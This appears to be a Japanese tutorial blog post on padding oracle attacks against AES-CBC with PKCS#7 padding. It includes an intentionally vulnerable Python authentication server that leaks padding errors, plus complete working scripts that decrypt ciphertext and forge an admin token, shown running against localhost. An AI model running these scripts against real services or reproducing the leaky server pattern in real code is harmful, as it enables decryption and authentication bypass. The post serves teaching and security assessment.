Padding Oracle AttackによるCBC modeの暗号文解読と改ざん
現在、ブロック暗号ではAESが広く使われている。ブロック暗号は、平文を固定長のブロックに分割して暗号化する暗号方式で、数種類存在する暗号利用モードを指定して暗号化を行う。この中にはCBCというモードが存在するが、サービスの実装によってはこのCBCモードに対してパディングオラクル攻撃を適用することができる。
パディングオラクル攻撃を用いると、鍵を持っていないにも関わらず暗号文を解読できてしまうとよく言われるが、実は同じ仕組みを用いることで暗号文の改ざんも行うことができる。本エントリでは、PKCS #7パディングを実装しているAES CBCに対して、パディングオラクル攻撃を使った暗号文の解読と、それを応用した暗号文の改ざんをやってみる。
暗号利用モード
暗号における利用モードでは、ECB, CBC, OFB, CFBの4種類が良く知られている。例えば、最も単純なECBモードの暗号では、すべてのブロックに対して鍵による暗号化を行う(図1)。図を見るとわかるが、すべてのブロックは互いに独立しているため、同じ平文ブロックが存在すると対応する暗号ブロックも同じ暗号文となってしまうという欠点がある。つまり、とが同じ値の場合、とも同じ値になってしまう。
対して、CBCモードでは前のブロックと現在のブロックをXORすることにより、ブロックの暗号文が一つ前の暗号ブロックに依存するようになっている(図2)。つまり、ECBモードの欠点である「同じ平文ブロックが同じ暗号文となる」点を解消している。なお、の前の暗号ブロックは存在しないため、としてIV (Initialization Vector)と呼ばれる同サイズのバイト列を使いとXOR演算を行う。IVは秘匿情報とせず暗号文と一緒に送ってしまって問題ない。
PKCS #7 パディング
ブロック暗号では、すべてのブロック長が固定されているため、最後のブロックが固定長に満たない場合にはパディングをして長さを合わせる必要がある。ここでは、RFC2315 にて提案されているPKCS #7パディングを適用する。この方式は、1バイトのパディングが必要な場合は"01", 2バイトのパディングが必要な場合は"0202"というように、必要なパディング数iに応じて chr(i) * i のパディングを施す。なお、パディングが0バイトで良い場合(つまりAESの最後のブロックが16バイトちょうどの場合)は、16バイト分のパディング "10" * 0x10 を行う(表1)。これにより、平文には必ずパディング文字が含まれる仕様となるため、復号時に「本来のデータかパディング文字かわからない」という問題を避けることができる。
padding文字数 | padding |
---|---|
1 | 01 |
2 | 0202 |
3 | 030303 |
: | : |
15 | 0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f |
0 (16) | 10101010101010101010101010101010 |
Padding Oracle Attack
本題のPadding Oracle Attackについて話す。Padding Oracle Attackとは、暗号アプリケーションが文字列を復号できるかどうか(復号時のパディング情報が合っているか)の情報を返す場合、攻撃者がこの復号成否情報を用いて平文の特定や暗号文の改ざんができてしまう攻撃である。なお、ここでいう "Oracle" とは某RDBではなく、攻撃者の手がかりとなるような情報を与えてしまうブラックボックスなサービスのことを指す。
ということで、Padding Oracleのある認証アプリケーションを書いてみる。ここでは、クライアントからの暗号文をAES CBCで復号化し、Base64デコードしたユーザIDがadminなら認証が成功するというものにする。もちろんクライアントは暗号/復号鍵を知ることはできないし平文の内容も知らない。知ることができるのはサーバから送られてくるサンプル暗号文である~(はIV)のみという前提を置く。
#!/usr/bin/python # -*- coding: utf-8 -*- import sys from Crypto.Cipher import AES block_size = 16 user_message = 'Authentication service. The ID is: guest'.encode('base64') key = ("0A" * block_size).decode('hex') def padding(s): i = block_size - len(s) % block_size pad = chr(i) * i return s + pad def unpadding(s): return s[0:-ord(s[-1])] def isvalidpadding(s): i = ord(s[-1]) return 0 < i and i <= block_size and s[-1]*i == s[-i:] def encrypt(p): IV = "IV for CBC mode." return IV.encode('hex') + AES.new(key, AES.MODE_CBC, IV).encrypt(padding(p)).encode('hex') def decrypt(c): IV = c[0:block_size*2].decode('hex') return AES.new(key, AES.MODE_CBC, IV).decrypt(c[block_size*2:].decode('hex')) def main(): print "Your user id:", encrypt(user_message) sys.stdout.flush() print "input your code: ", sys.stdout.flush() decoded_input = decrypt(raw_input()) if isvalidpadding(decoded_input): plain = unpadding(decoded_input).decode('base64') user_id = plain.split("Authentication service. The ID is: ")[1] if user_id == "admin": print "You are an authenticated user.\nHere is secret information: Padding Oracle Attack" else: print "You are not admin. Bye." else: print "[-] incorrect pkcs7 padding." if __name__ == "__main__": main()
socatにて簡易サーバを作成。
[user@ubuntu] $ socat TCP-LISTEN:1234,reuseaddr,fork EXEC:"python server.py",stderr
別ターミナルから、試しにncコマンドで繋いでみる。
[user@ubuntu] $ nc localhost 1234
user id: 495620666f7220434243206d6f64652eec32ab1ded2375754abf6ef5e53aae695642a86b61d17f692affb8652eac07c838a272388b3a39e88075271bab8214fbf0d92673408f4a714b62372448a12303
input your code: 495620666f7220434243206d6f64652eec32ab1ded2375754abf6ef5e53aae695642a86b61d17f692affb8652eac07c838a272388b3a39e88075271bab8214fbf0d92673408f4a714b62372448a12303
You are not admin. Bye.
[user@ubuntu] $
与えられたサンプル暗号文を入力するとサーバサイドで復号が走るが、adminではないため認証に弾かれている。試しに末尾1バイトを"0x03"から"0x00"変えてみると、
[user@ubuntu] $ nc localhost 1234 user id: 495620666f7220434243206d6f64652eec32ab1ded2375754abf6ef5e53aae695642a86b61d17f692affb8652eac07c838a272388b3a39e88075271bab8214fbf0d92673408f4a714b62372448a12303 input your code: 495620666f7220434243206d6f64652eec32ab1ded2375754abf6ef5e53aae695642a86b61d17f692affb8652eac07c838a272388b3a39e88075271bab8214fbf0d92673408f4a714b62372448a12300 [-] incorrect pkcs7 padding. [user@ubuntu] $
"incorrect pkcs7 padding."とエラーが返ってくる。つまり、Decrypt後のパディングチェックにてコケていることがエラーメッセージから判別できる。
逆に、最初のブロックを1バイト変えてみるとパディングチェックは成功するはずなので、そのパターンも試してみる。
[user@ubuntu] $ nc localhost 1234 Your user id: 495620666f7220434243206d6f64652eec32ab1ded2375754abf6ef5e53aae695642a86b61d17f692affb8652eac07c838a272388b3a39e88075271bab8214fbf0d92673408f4a714b62372448a12303 input your code: 005620666f7220434243206d6f64652eec32ab1ded2375754abf6ef5e53aae695642a86b61d17f692affb8652eac07c838a272388b3a39e88075271bab8214fbf0d92673408f4a714b62372448a12303 Traceback (most recent call last): File "server.py", line 45, in <module> main() File "server.py", line 35, in main plain = unpadding(decoded_input).decode('base64') File "/usr/lib/python2.7/encodings/base64_codec.py", line 42, in base64_decode output = base64.decodestring(input) File "/usr/lib/python2.7/base64.py", line 321, in decodestring return binascii.a2b_base64(s) binascii.Error: Incorrect padding [user@ubuntu] $
末尾のブロックは綺麗に復号化されているためパディングチェックは通過したようだが、その後の処理でErrorが発生している。メッセージ内容からして、Base64デコード処理でしくっているように見える。
このように、認証成否情報に加えパディングチェック成否の手がかりを確認することができた。以上より、このアプリケーションにはパディングオラクルがあると言える。
このアプリケーションへの攻撃シナリオは、このパディングオラクルを用い、
- Decryption Attackにて暗号文を解読する
- Encryption Attackで解読した暗号文を改ざんしてアプリケーションの認証をバイパスする
の2本を想定する。
Decryption Attack
これはいろんなところで紹介もされているし有名だと思う。まずCBCのDecryptionアルゴリズムを見てみる(Encryption の矢印を逆にしただけ)。この図で言うの最後にはPKCS #7パディング文字列が存在しなければならない。
上図より、このときのを求めるときの式は
と定義できる。というのは復号化関数を通ったあとの値。つまり図3右側の赤い領域を示す。
クライアントからサーバへは暗号文であるを送ることになるが、このときにの値を変えてみながら、正しいパディングとなる入力パターンを確かめることはできないだろうか。
ここで、正しいパディングとなるようを改ざんした値を考える。を用いるとももちろん変わるため、この時の式は、
と表せる。これを①の式に代入すると、
となる。、つまり復号直後の値(赤い領域の値)がわからなくてもを求めることができそうだ。
次に、肝心なの求め方を考える。
まず、の最終バイトを1バイトずつ変えながらPadding Oracleに対して送信する。どこかのタイミングで、の最終バイトが"01"となりパディング成功を示すメッセージを得られるはずだ(おそらく復号後のサーバ処理でのエラーメッセージだろう)。このときの値がの最終バイトである。
図4. Padding Attackによる1バイト目の特定
なお、上図よりの最終バイトの最終バイトはの最終バイトを表すことがわかる。
では次にの最後から2バイト目を求める。このときの最終バイトは"0202"となる必要があるので、先ほど送信した最終バイトも"01"から"02"になるように調整する。具体的にはの最終バイトとでXORしてやれば良い。
図5. Padding Attackによる2バイト目の特定
3byte目も同様に調整。こうしてバイトごとにとを特定していくことができる。
図6. Padding Attackによる3バイト目の特定
これを16バイト目まで繰り返すと、とが判明する。これが求まれば、の式により最後の平文ブロックを復元することができる。がわかれば次はとを使って前のブロックを復元していけば、最終的にまでの文字列を復元することができる(今回はが存在するのでまで計算が可能である)。
実際にスクリプトを書いてみる。
#!/usr/bin/python # -*- coding: utf-8 -*- import socket from tqdm import tqdm host, port = "localhost", 1234 block_size = 16 def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def read_until(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def isvalidpadding(c_target, Dec_ci, m_prime, c_prev_prime): s, f = sock(host, port) read_until(f, "input your code: ") attempt_byte = "\x00" * (block_size-m_prime) + chr(c_prev_prime) adjusted_bytes = "" for c in Dec_ci: adjusted_bytes += chr(ord(c) ^ m_prime) send = attempt_byte.encode('hex') + adjusted_bytes.encode('hex') + c_target f.write(send + '\n') res = read_until(f) s.close return not "incorrect pkcs7 padding" in res def main(): s, f = sock(host, port) read_until(f, 'Your user id: ') cipher_text = read_until(f)[:-1] cipher_text = cipher_text.zfill(len(cipher_text) + len(cipher_text) % block_size*2).decode('hex') s.close cipher_block = [cipher_text[i: i+block_size] for i in range(0, len(cipher_text), block_size)] cipher_block.reverse() plain_text = "" for i in tqdm(range(len(cipher_block)-1)): c_target = cipher_block[0].encode('hex') c_prev = cipher_block[1].encode('hex') print "c_prev:", c_prev print "c_target:", c_target cipher_block.pop(0) m_prime = 1 c_prev_prime = 0 m = Dec_ci = "" while True: if isvalidpadding(c_target, Dec_ci, m_prime, c_prev_prime): print "0x{:02x}: ".format(c_prev_prime) + "{:02x}".format(m_prime) * m_prime m += chr(c_prev_prime ^ m_prime ^ ord(c_prev.decode('hex')[::-1][m_prime-1])) Dec_ci = chr(c_prev_prime ^ m_prime) + Dec_ci m_prime += 1 c_prev_prime = 0 if m_prime <= block_size: continue break c_prev_prime += 1 if c_prev_prime > 0xff: print "[-] Not Found" break print "[+] Dec(c%d): %s" % (len(cipher_block), Dec_ci.encode('hex').zfill(block_size*2)) print "[+] m%d: %s" % (len(cipher_block), repr(m[::-1])) plain_text = m[::-1] + plain_text print "[+] plain_text:", repr("*" * (len(cipher_text)-len(plain_text)-block_size) + plain_text) + '\n' if __name__ == "__main__": main()
これを走らせると、
[user@ubuntu] $ python dec.py 0%| | 0/4 [00:00<?, ?it/s] c_prev: 38a272388b3a39e88075271bab8214fb c_target: f0d92673408f4a714b62372448a12303 0xfd: 01 0x11: 0202 0x86: 030303 0xa8: 04040404 0x19: 0505050505 0x26: 060606060606 0x75: 07070707070707 0x82: 0808080808080808 0xdc: 090909090909090909 0x0e: 0a0a0a0a0a0a0a0a0a0a 0x70: 0b0b0b0b0b0b0b0b0b0b0b 0xe3: 0c0c0c0c0c0c0c0c0c0c0c0c 0x4f: 0d0d0d0d0d0d0d0d0d0d0d0d0d 0x2a: 0e0e0e0e0e0e0e0e0e0e0e0e0e0e 0xfa: 0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f 0x4c: 10101010101010101010101010101010 [+] Dec(c4): 5cf52442ef7b04d58a72201cac8513fc [+] m4: 'dWVzdA==\n\x07\x07\x07\x07\x07\x07\x07' [+] plain_text: '************************************************dWVzdA==\n\x07\x07\x07\x07\x07\x07\x07' 25%|██████████████▎ | 1/4 [00:21<01:04, 21.50s/it] (snip) c_prev: 495620666f7220434243206d6f64652e c_target: ec32ab1ded2375754abf6ef5e53aae69 0x5f: 01 0x35: 0202 0x3f: 030303 0x32: 04040404 0x02: 0505050505 0x4a: 060606060606 0x03: 07070707070707 0x2e: 0808080808080808 0x3f: 090909090909090909 0x7c: 0a0a0a0a0a0a0a0a0a0a 0x3e: 0b0b0b0b0b0b0b0b0b0b0b 0x02: 0c0c0c0c0c0c0c0c0c0c0c0c 0x5b: 0d0d0d0d0d0d0d0d0d0d0d0d0d 0x78: 0e0e0e0e0e0e0e0e0e0e0e0e0e0e 0x01: 0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f 0x08: 10101010101010101010101010101010 [+] Dec(c1): 180e76560e35763626044c07363c375e [+] m1: 'QXV0aGVudGljYXRp' [+] plain_text: 'QXV0aGVudGljYXRpb24gc2VydmljZS4gVGhlIElEIGlzOiBndWVzdA==\n\x07\x07\x07\x07\x07\x07\x07' 100%|█████████████████████████████████████████████████████████| 4/4 [01:02<00:00, 15.66s/it] [user@ubuntu] $
Base64 + パディングされた平文を取得することができた。
>>> "QXV0aGVudGljYXRpb24gc2VydmljZS4gVGhlIElEIGlzOiBndWVzdA==".decode('base64') 'Authentication service. The ID is: guest' >>>
ちなみに、ここからIVを計算することも可能である。
先ほどの式をそのまま使うだけだが、であるためだ。
図7. IVの計算
dec.pyの結果から、とがわかっているため、これをXORしてやれば良い。
>>> Dec_c1 = 0x180e76560e35763626044c07363c375e >>> m1 = int('QXV0aGVudGljYXRp'.encode('hex'), 16) >>> IV = format(Dec_c1 ^ m1, 'x').decode('hex') >>> IV 'IV for CBC mode.' >>>
まぁはそもそも今回はサーバ接続時に手に入っているので計算するまでもないが。
では、次にこの手に入れた平文を使い暗号文の改ざんをして認証をバイパスしてみる。
Encryption Attack
手に入れたユーザIDを"admin"に変え、Base64エンコードをし直してpaddingを加えたものを平文とする。
>>> block_size = 16 >>> M = "Authentication service. The ID is: admin".encode('base64') >>> M + chr(block_size - len(M) % block_size) * (block_size - len(M) % block_size) 'QXV0aGVudGljYXRpb24gc2VydmljZS4gVGhlIElEIGlzOiBhZG1pbg==\n\x07\x07\x07\x07\x07\x07\x07' >>>
文字列長は改ざん前と変わらないため、パディングも同じく'07' * 7 である。説明のため、ここでは改ざんした平文と暗号文ブロックを大文字で, と表す。
解法を先に言ってしまうと、Decryption Attackのときに利用した式をここでも利用する。パディングオラクルを用いることで、とを使ってに対応するを計算する。が計算できれば、によってに対応するを再計算できるというわけだ(図8)。
図8. Encryption Attackによる暗号文の算出
が計算できれば次はを使ってを計算する。これを(もともとのIV)まで繰り返す。任意の値と再計算した~が~に対応しているため、これをアプリケーションに送ればadminとして認証をバイパスできるはずである。
Encryption Attackでは同じくPadding Oracle Attackを使うので、Decryptのコードを少し修正するだけで良い。
#!/usr/bin/python # -*- coding: utf-8 -*- import socket, telnetlib from tqdm import tqdm host, port = "localhost", 1234 block_size = 16 def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def read_until(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def shell(s): print "[+] interact mode." t = telnetlib.Telnet() t.sock = s t.interact() def isvalidpadding(c_target, Dec_ci, m_prime, c_prev_prime): s, f = sock(host, port) read_until(f, "input your code: ") attempt_byte = "\x00" * (block_size-m_prime) + chr(c_prev_prime) adjusted_bytes = "" for c in Dec_ci: adjusted_bytes += chr(ord(c) ^ m_prime) send = attempt_byte.encode('hex') + adjusted_bytes.encode('hex') + c_target f.write(send + '\n') res = read_until(f) s.close return not "incorrect pkcs7 padding" in res def create_cipher(Plain_array, Dec_array): c0 = format(int(Plain_array[0],16) ^ int(Dec_array[3],16),'x').zfill(block_size*2) c1 = format(int(Plain_array[1],16) ^ int(Dec_array[2],16),'x').zfill(block_size*2) c2 = format(int(Plain_array[2],16) ^ int(Dec_array[1],16),'x').zfill(block_size*2) c3 = format(int(Plain_array[3],16) ^ int(Dec_array[0],16),'x').zfill(block_size*2) c4 = "00" * block_size return c0 + c1 + c2 + c3 + c4 def main(): # initial Dec(ci) value. This value will be updated. initial = "00" * block_size M1 = "QXV0aGVudGljYXRp".encode('hex') M2 = "b24gc2VydmljZS4g".encode('hex') M3 = "VGhlIElEIGlzOiBh".encode('hex') M4 = ("ZG1pbg==\n" + "\x07"*7).encode('hex') Plain = [M1, M2, M3, M4] Dec_c = [initial, initial, initial, initial] cipher_text = create_cipher(Plain, Dec_c).decode('hex') cipher_block = [cipher_text[i: i+block_size] for i in range(0, len(cipher_text), block_size)] cipher_block.reverse() print "tampered plain text:", repr("".join(Plain).decode('hex')) + '\n' for i in tqdm(range(len(cipher_block)-1)): c_target = cipher_block[0].encode('hex') c_prev = cipher_block[1].encode('hex') cipher_block.pop(0) m_prime = 1 c_prev_prime = 0 Dec_ci = "" while True: if isvalidpadding(c_target, Dec_ci, m_prime, c_prev_prime): print "0x{:02x}: ".format(c_prev_prime) + "{:02x}".format(m_prime) * m_prime Dec_ci = chr(c_prev_prime ^ m_prime) + Dec_ci m_prime += 1 c_prev_prime = 0 if m_prime <= block_size: continue break c_prev_prime += 1 if c_prev_prime > 0xff: print "[-] Not Found" break Dec_c[i] = Dec_ci.encode('hex').zfill(block_size*2) print "[+] new Dec(c%d): %s" % (len(cipher_block), Dec_c[i]) cipher_text = create_cipher(Plain, Dec_c).decode('hex') cipher_block = [cipher_text[j: j+block_size] for j in range(0, len(cipher_text), block_size)] cipher_block.reverse() for _ in range(i+1): cipher_block.pop(0) print "[!] Updated c%d\n" % (len(cipher_block)-1) print "[+] exploit" tampered_cipher = create_cipher(Plain, Dec_c) print "[+] tampered cipher text:", tampered_cipher s, f = sock(host, port) read_until(f, "input your code: ") f.write(tampered_cipher + '\n') shell(s) if __name__ == "__main__": main()
これを実行することで、正しく改ざんした暗号文を送信することができる。
[user@ubuntu] $ python enc.py tampered plain text: 'QXV0aGVudGljYXRpb24gc2VydmljZS4gVGhlIElEIGlzOiBhZG1pbg==\n\x07\x07\x07\x07\x07\x07\x07' 0%| | 0/4 [00:00<?, ?it/s] 0xef: 01 0x6b: 0202 0x27: 030303 0xa0: 04040404 0x0a: 0505050505 0x27: 060606060606 0x19: 07070707070707 0x7c: 0808080808080808 0x6c: 090909090909090909 0x98: 0a0a0a0a0a0a0a0a0a0a 0x9d: 0b0b0b0b0b0b0b0b0b0b0b 0xd0: 0c0c0c0c0c0c0c0c0c0c0c0c 0xc7: 0d0d0d0d0d0d0d0d0d0d0d0d0d 0x46: 0e0e0e0e0e0e0e0e0e0e0e0e0e0e 0x79: 0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f 0xc3: 10101010101010101010101010101010 [+] new Dec(c4): d37648cadc969265741e210fa42469ee [!] Updated c3 (snip) 0x4f: 01 0x6c: 0202 0x80: 030303 0xb6: 04040404 0xde: 0505050505 0x50: 060606060606 0xa7: 07070707070707 0xc5: 0808080808080808 0xa1: 090909090909090909 0x37: 0a0a0a0a0a0a0a0a0a0a 0x23: 0b0b0b0b0b0b0b0b0b0b0b 0xb8: 0c0c0c0c0c0c0c0c0c0c0c0c 0xd9: 0d0d0d0d0d0d0d0d0d0d0d0d0d 0x0b: 0e0e0e0e0e0e0e0e0e0e0e0e0e0e 0x95: 0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f 0xcf: 10101010101010101010101010101010 [+] new Dec(c1): df9a05d4b4283da8cda056dbb2836e4e [!] Updated c0 100%|█████████████████████████████████████████████████████████| 4/4 [01:28<00:00, 22.23s/it] [+] exploit [+] tampered cipher text: 8ec253e4d56f6bdda9e73ab1ebdb3c3edc73f09a0f81adf4eb98e7e227dd3584bd2dce1515871080ac03737e4324fc44893179babef1af587e192608a3236ee900000000000000000000000000000000 [+] interact mode. You are an authenticated user. Here is secret information: Padding Oracle Attack *** Connection closed by remote host *** [user@ubuntu] $
Decryption Attackにて手に入れた平文を使い、Encryption Attackにて暗号文の改ざんをしてadminユーザとしてログインすることができた。
まとめ
Padding Oracle Attackによる暗号文の解読と改ざんについて解説してみた。応用と言いつつも同じ計算式を使っただけなので応用というほどでもない。ただ、平文がわかっちゃう!というだけではない攻撃なので、Padding Oracleを見つけたら復号化されるリスクだけでなく、改ざんについても評価項目に入れて影響や対策を考えてみることが必要だと思う。